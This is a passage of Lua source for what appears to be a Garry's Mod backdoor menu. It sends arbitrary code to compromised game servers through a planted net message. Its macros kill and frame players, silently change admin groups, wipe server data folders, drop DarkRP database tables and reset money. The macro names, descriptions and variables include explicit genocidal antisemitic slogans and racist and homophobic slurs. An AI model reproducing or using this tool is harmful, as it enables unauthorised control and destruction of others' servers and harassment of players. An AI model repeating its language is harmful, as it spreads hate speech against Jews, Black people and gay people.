8044 explo:Activate()
8045
8046 explo:Fire("Explode", "", 0)
8047
8048 local ef = EffectData()
8049
8050 ef:SetOrigin( car:GetPos() )
8051
8052 ef:SetMagnitude( 5 )
8053
8054 ef:SetScale( 200 )
8055
8056 util.Effect( "ThumperDust", ef )
8057
8058 car.boom = car.boom - 1
8059
8060 if car.boom < 0 then car:Remove() end
8061
8062 end )
8063
8064 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
8065
8066 ]],
8067 ["Desc"] = "Make exploding vehicles rain from the sky"
8068 },
8069 ["Poison Gas"] = {
8070 ["Type"] = 2,
8071 ["Code"] = [[
8072
8073 local trace = v:GetEyeTraceNoCursor()
8074
8075 local ar2Explo = ents.Create("env_ar2explosion")
8076
8077 ar2Explo:SetOwner(game.GetWorld())
8078
8079 local p = trace.HitPos
8080
8081 ar2Explo:SetPos(trace.HitPos)
8082
8083 ar2Explo:Spawn()
8084
8085 ar2Explo:Activate()
8086
8087 ar2Explo:Fire("Explode", "", 0)
8088
8089 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
8090
8091 for _, ent in pairs(ents.FindInSphere( p, 500)) do
8092
8093 if !ent:IsPlayer() then continue end
8094
8095 local d = DamageInfo()
8096
8097 d:SetDamage( 1 )
8098
8099 d:SetAttacker( game.GetWorld() )
8100
8101 d:SetInflictor( game.GetWorld() )
8102
8103 d:SetDamageType( DMG_DROWN )
8104
8105 ent:TakeDamageInfo( d )
8106
8107 end
8108
8109 end)
8110
8111
8112
8113 ]],
8114 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
8115 },
8116 ["Spawn vehicle near player"] = {
8117 ["Type"] = 2,
8118 ["Code"] = [[
8119
8120 local trc = {}
8121
8122 trc.start = v:GetShootPos()
8123
8124 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
8125
8126 trc.filter = {v}
8127
8128 local tr = util.TraceLine(trc)
8129
8130
8131
8132 local VehicleList = list.Get( "Vehicles" )
8133
8134 local vehicle = VehicleList[ @1 ]
8135
8136 if ( !vehicle ) then return end
8137
8138 local Angles = v:GetAngles()
8139
8140 Angles.pitch = 0
8141
8142 Angles.roll = 0
8143
8144 Angles.yaw = Angles.yaw + 180
8145
8146
8147
8148 local pos = tr.HitPos
8149
8150 if ( vehicle.Offset ) then
8151
8152 pos = pos + tr.HitNormal * vehicle.Offset
8153
8154 end
8155
8156 local Ent = ents.Create( vehicle.Class )
8157
8158 if ( !Ent ) then return end
8159
8160 duplicator.DoGeneric( Ent, vehicle )
8161
8162 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8163
8164 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8165
8166 if ( vehicle && vehicle.KeyValues ) then
8167
8168 for k, v in pairs( vehicle.KeyValues ) do
8169
8170 Ent:SetKeyValue( k, v )
8171
8172 end
8173
8174 end
8175
8176 Ent:SetModel( vehicle.Model )
8177
8178 Ent:SetAngles( Angles )
8179
8180 Ent:SetPos( pos )
8181
8182 Ent:Spawn()
8183
8184 Ent:Activate()
8185
8186 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
8187
8188 Ent.VehicleName = vehicle.Class
8189
8190 Ent.VehicleTable = @1
8191
8192 Ent.ClassOverride = vehicle.Class
8193
8194 ]],
8195 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
8196 ["NeedsParameters"] = 1
8197 },
8198 ["Kick player"] = {
8199 ["Type"] = 2,
8200 ["Code"] = [[ v:Kick( @1 ) ]],
8201 ["Desc"] = "First parameter = reason for kick"
8202 },
8203 ["Niggerize player"] = {
8204 ["Type"] = 2,
8205 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
8206 ["Desc"] = "Turns them black as night"
8207 },
8208 ["Cloak player"] = {
8209 ["Type"] = 2,
8210 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8211 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8212 },
8213 ["Allahu Ackbar"] = {
8214 ["Type"] = 2,
8215 ["Code"] = [[
8216
8217 local explo = ents.Create("env_explosion")
8218
8219 explo:SetOwner(v)
8220
8221 explo:SetPos(v:GetPos())
8222
8223 explo:SetKeyValue("iMagnitude", "250")
8224
8225 explo:Spawn()
8226
8227 explo:Activate()
8228
8229 explo:Fire("Explode", "", 0)
8230
8231 if v:Alive() then v:Kill() end
8232
8233 ]],
8234 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8235 },
8236 ["ULX set access"] = {
8237 ["Type"] = 2,
8238 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8239 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8240 ["NeedsParameters"] = 1
8241 },
8242 ------------------------ dangerous codens ------------------------
8243 ["DarkRP clear all money"] = {
8244 ["Type"] = 3,
8245 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8246 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8247 },
8248 ["Cleanup map"] = {
8249 ["Type"] = 3,
8250 ["Code"] = [[game.CleanUpMap()]],
8251 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8252 },
8253 ["Vaporize all players"] = {
8254 ["Type"] = 3,
8255 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8256 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8257 },
8258 ["FPP Unrestrict everything"] = {
8259 ["Type"] = 3,
8260 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8261 ["Desc"] = ""
8262 },
8263 ["Wipe data folder"] = {
8264 ["Type"] = 3,
8265 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8266 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8267 },
8268 ["Wipe DarkRP SQL Tables"] = {
8269 ["Type"] = 3,
8270 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8271 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8272 }
8273}
8274
8275local selectedbackdoor = ""
8276local backdoorargs = ""
8277local selectedplayers = {}
8278
8279function BD.GenerateBackdoorList(parent, category)
8280 for k, v in SortedPairs(BD.BDMacros, false) do
8281 if v["Type"] ~= category then continue end
8282 local plypanel2 = vgui.Create("DPanel")
8283 plypanel2:SetPos(0, 0)
8284 plypanel2:SetSize(200, 25)
8285
8286 -- Paint function
8287 plypanel2.Paint = function()
8288 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8289
8290 if selectedbackdoor == k then
8291 surface.SetDrawColor(Color(70, 130, 180, 255))
8292 else
8293 surface.SetDrawColor(Color(0, 0, 0, 255))
8294 end
8295
8296 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8297 end
8298
8299 local plyname = vgui.Create("DLabel", plypanel2)
8300 plyname:SetPos(10, 5)
8301 plyname:SetFont("Trebuchet18")
8302 local tcol = Color(255, 255, 255)
8303
8304 if v.Private then
8305 tcol = Color(155, 255, 155)
8306 end
8307
8308 plyname:SetColor(tcol)
8309 plyname:SetText(k)
8310 plyname:SetSize(180, 15)
8311 local faggot = vgui.Create("DButton", plypanel2)
8312 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8313 faggot:SetPos(0, 0)
8314 faggot:SetText("")
8315
8316 if v["Desc"] ~= "" then
8317 faggot:SetToolTip(v["Desc"])
8318 end
8319
8320 faggot.Paint = function(panel, w, h) return end
8321
8322 faggot.DoClick = function()
8323 selectedbackdoor = k
8324 end
8325
8326 parent:AddItem(plypanel2)
8327 end
8328end
8329
8330function BD.FormatCodeTargeted()
8331 if selectedbackdoor == "" then
8332 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8333
8334 return
8335 end
8336
8337 local param = string.Explode(",", backdoorargs)
8338 local ids = {}
8339
8340 for k, v in pairs(selectedplayers) do
8341 if not v:IsValid() then
8342 table.RemoveByValue(selectedplayers, v)
8343 continue
8344 end
8345
8346 table.insert(ids, v:UniqueID())
8347 end
8348
8349 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8350 code = string.Replace(code, "##", table.ToString(ids))
8351 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8352 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8353
8354 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8355 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8356
8357 return
8358 end
8359
8360 if #param < 1 then
8361 param = {
8362 [1] = "derp",
8363 [2] = "derp",
8364 [3] = "derp",
8365 [4] = "derp",
8366 [5] = "derp"
8367 }
8368 end
8369
8370 for k, v in pairs(param) do
8371 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8372 end
8373
8374 BD.Fire(code)
8375end
8376
8377function BD.FormatCodeGlobal()
8378 if selectedbackdoor == "" then
8379 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8380
8381 return
8382 end
8383
8384 local param = string.Explode(",", backdoorargs)
8385 local code = BD.BDMacros[selectedbackdoor]["Code"]
8386
8387 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8388 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8389
8390 return
8391 end
8392
8393 if #param < 1 then
8394 param = {
8395 [1] = "derp",
8396 [2] = "derp",
8397 [3] = "derp",
8398 [4] = "derp",
8399 [5] = "derp"
8400 }
8401 end
8402
8403 for k, v in pairs(param) do
8404 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8405 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8406 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8407
8408 for k, v in pairs(BackDoor_net) do
8409 code = string.Replace(code, "%BD", v.NetWork)
8410 end
8411 end
8412
8413 BD.Fire(code)
8414end
8415
8416local safenet = net
8417
8418local function bdnet()
8419 if R8 and R8.G then return R8.G.net end
8420
8421 return safenet
8422end
8423
8424function BD.Fire(code)
8425 local cbd = BD.CurrentBackdoor
8426 bdnet().Start(BD.BackdoorTypes[cbd].Netkey)
8427 bdnet().WriteString(code)
8428 bdnet().SendToServer()
8429end
8430
8431surface.CreateFont("exitmenu", {
8432 font = "Arial",
8433 size = 20,
8434 weight = 1000,
8435 shadow = false,
8436 outline = false
8437})
8438
8439local function exitmenu(panel, X, y)
8440 local CButton = vgui.Create("DButton", panel)
8441 CButton:SetTextColor(Color(150, 150, 150))
8442 CButton:SetText("??")
8443 CButton:SetFont("exitmenu")
8444 CButton:SetPos(X, y)
8445 CButton:SetSize(50, 24)
8446
8447 CButton.DoClick = function()
8448 panel:SizeTo(0, 0, .2, 0, .2)
8449
8450 timer.Simple(0.3, function()
8451 panel:SetVisible(false)
8452 end)
8453 end
8454
8455 CButton.Paint = function(panel, w, h)
8456 surface.SetDrawColor(Color(0, 0, 0, 255))
8457 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8458 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8459 end
8460
8461 CButton.OnCursorEntered = function(self)
8462 surface.PlaySound("garrysmod/ui_hover.wav")
8463
8464 CButton.Paint = function(panel, w, h)
8465 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8466 end
8467 end
8468
8469 -------------------------------------------------------------
8470 CButton.OnCursorExited = function(self)
8471 CButton.Paint = function(panel, w, h)
8472 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8473 end
8474 end
8475 ------------------------------------------------------------------------
8476end
8477
8478local blur = Material("pp/blurscreen")
8479
8480local function DrawBlur(panel, amount)
8481 local x, y = panel:LocalToScreen(0, 0)
8482 local scrW, scrH = ScrW(), ScrH()
8483 surface.SetDrawColor(255, 255, 255)
8484 surface.SetMaterial(blur)
8485
8486 for i = 1, 3 do
8487 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8488 blur:Recompute()
8489 render.UpdateScreenEffectTexture()
8490 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8491 end
8492end
8493
8494CreateClientConVar("menu_r", "148", true, false)
8495CreateClientConVar("menu_g", "0", true, false)
8496CreateClientConVar("menu_b", "211", true, false)
8497
8498function BD.BackdoorMenu()
8499 BD.Backdoors = BD.PingBackDoors()
8500 local BDMenu = vgui.Create("DFrame")
8501 BDMenu:Center()
8502 BDMenu:SizeTo(500, 400, .3, 0, .3)
8503 exitmenu(BDMenu, 449, 1)
8504 BDMenu:SetTitle(" ")
8505 BDMenu:ShowCloseButton(false)
8506 BDMenu:SetVisible(true)
8507 BDMenu:MakePopup()
8508
8509 function BDMenu:Paint()
8510 DrawBlur(self, 5)
8511 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8512 surface.SetDrawColor(Color(0, 0, 0, 255))
8513 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8514 ---------------------------------------------------------
8515 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8516 ---------------------------------------------------------
8517 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8518 -------------------------------------------------
8519 surface.DrawOutlinedRect(0, 0, 449, 26)
8520 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8521 --
8522 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8523 ------------------------------------------------
8524 end
8525
8526 local it = 145
8527 local Plist = vgui.Create("DPanelList", BDMenu)
8528 Plist:SetPos(5, 30)
8529 Plist:SetSize(200, 315)
8530 Plist:SetPadding(5)
8531 Plist:SetSpacing(5)
8532 Plist:EnableHorizontal(false)
8533 Plist:EnableVerticalScrollbar(true)
8534 Plist:SetName("")
8535
8536 Plist.Paint = function(self, w, h)
8537 DrawBlur(self, 5)
8538 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8539 surface.SetDrawColor(Color(0, 0, 0, 255))
8540 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8541 end
8542
8543 local Plist4 = vgui.Create("DPanelList", BDMenu)
8544 Plist4:SetPos(210, 30)
8545 Plist4:SetSize(285, 315)
8546 Plist4:SetPadding(5)
8547 Plist4:SetSpacing(5)
8548 Plist4:EnableHorizontal(false)
8549 Plist4:EnableVerticalScrollbar(true)
8550 Plist4:SetName("")
8551
8552 Plist4.Paint = function(self, w, h)
8553 surface.SetDrawColor(50, 50, 50, 255)
8554 surface.DrawOutlinedRect(0, 0, w, h)
8555 surface.SetDrawColor(0, 0, 0, 200)
8556 surface.DrawRect(0, 0, w, h)
8557 end
8558
8559 local faggot = vgui.Create("DButton", BDMenu)
8560 faggot:Dock(5)
8561 faggot:SetText("Activate Backdoor!")
8562 faggot:SetTextColor(Color(255, 255, 255, 255))
8563
8564 faggot.Paint = function(panel, w, h)
8565 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8566 surface.SetDrawColor(Color(0, 0, 0, 255))
8567 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8568 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8569 end
8570
8571 faggot.DoClick = function()
8572 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8573 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8574
8575 return
8576 end
8577
8578 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8579 BD.FormatCodeGlobal()
8580 else
8581 BD.FormatCodeTargeted()
8582 end
8583
8584 surface.PlaySound("buttons/button18.wav")
8585 end
8586
8587 local moonman = vgui.Create("DTextEntry", BDMenu)
8588 moonman:Dock(5)
8589 moonman:DockMargin(0, 0, 0, 5)
8590 moonman:SetText(backdoorargs)
8591
8592 moonman.OnChange = function(self)
8593 backdoorargs = self:GetValue()
8594 end
8595
8596 -- surface.PlaySound("buttons/button3.wav")
8597 -- players list
8598 for k, v in pairs(player.GetAll()) do
8599 local plypanel2 = vgui.Create("DPanel")
8600 plypanel2:SetPos(0, 0)
8601 plypanel2:SetSize(200, 25)
8602
8603 -- Paint function
8604 plypanel2.Paint = function()
8605 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8606
8607 if table.HasValue(selectedplayers, v) then
8608 surface.SetDrawColor(Color(50, 255, 90, 255))
8609 else
8610 surface.SetDrawColor(Color(50, 50, 90, 255))
8611 end
8612
8613 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8614 end
8615
8616 local plyname = vgui.Create("DLabel", plypanel2)
8617 plyname:SetPos(10, 5)
8618 plyname:SetFont("Trebuchet18")
8619 local tcol = Color(255, 255, 255)
8620
8621 if v == LocalPlayer() then
8622 tcol = Color(155, 155, 255)
8623 end
8624
8625 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8626 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8627 plyname:SetColor(tcol)
8628 plyname:SetText(v:Nick())
8629 plyname:SetSize(180, 15)
8630 local faggot = vgui.Create("DButton", plypanel2)
8631 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8632 faggot:SetPos(0, 0)
8633 faggot:SetText("")
8634 faggot.Paint = function(panel, w, h) return end
8635
8636 faggot.DoClick = function()
8637 if table.HasValue(selectedplayers, v) then
8638 table.RemoveByValue(selectedplayers, v)
8639 else
8640 table.insert(selectedplayers, v)
8641 end
8642 end
8643
8644 Plist4:AddItem(plypanel2)
8645 end
8646
8647 BD.GenerateBackdoorList(Plist, 1)
8648 BD.GenerateBackdoorList(Plist, 2)
8649 BD.GenerateBackdoorList(Plist, 3)
8650end
8651
8652concommand.Add("bd_menu", BD.BackdoorMenu)
8653
8654function BD.QuickFireBackdoor()
8655 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8656 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8657
8658 return
8659 end
8660
8661 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8662 BD.FormatCodeGlobal()
8663 else
8664 BD.FormatCodeTargeted()
8665 end
8666end
8667
8668concommand.Add("bd_quickfire", BD.QuickFireBackdoor)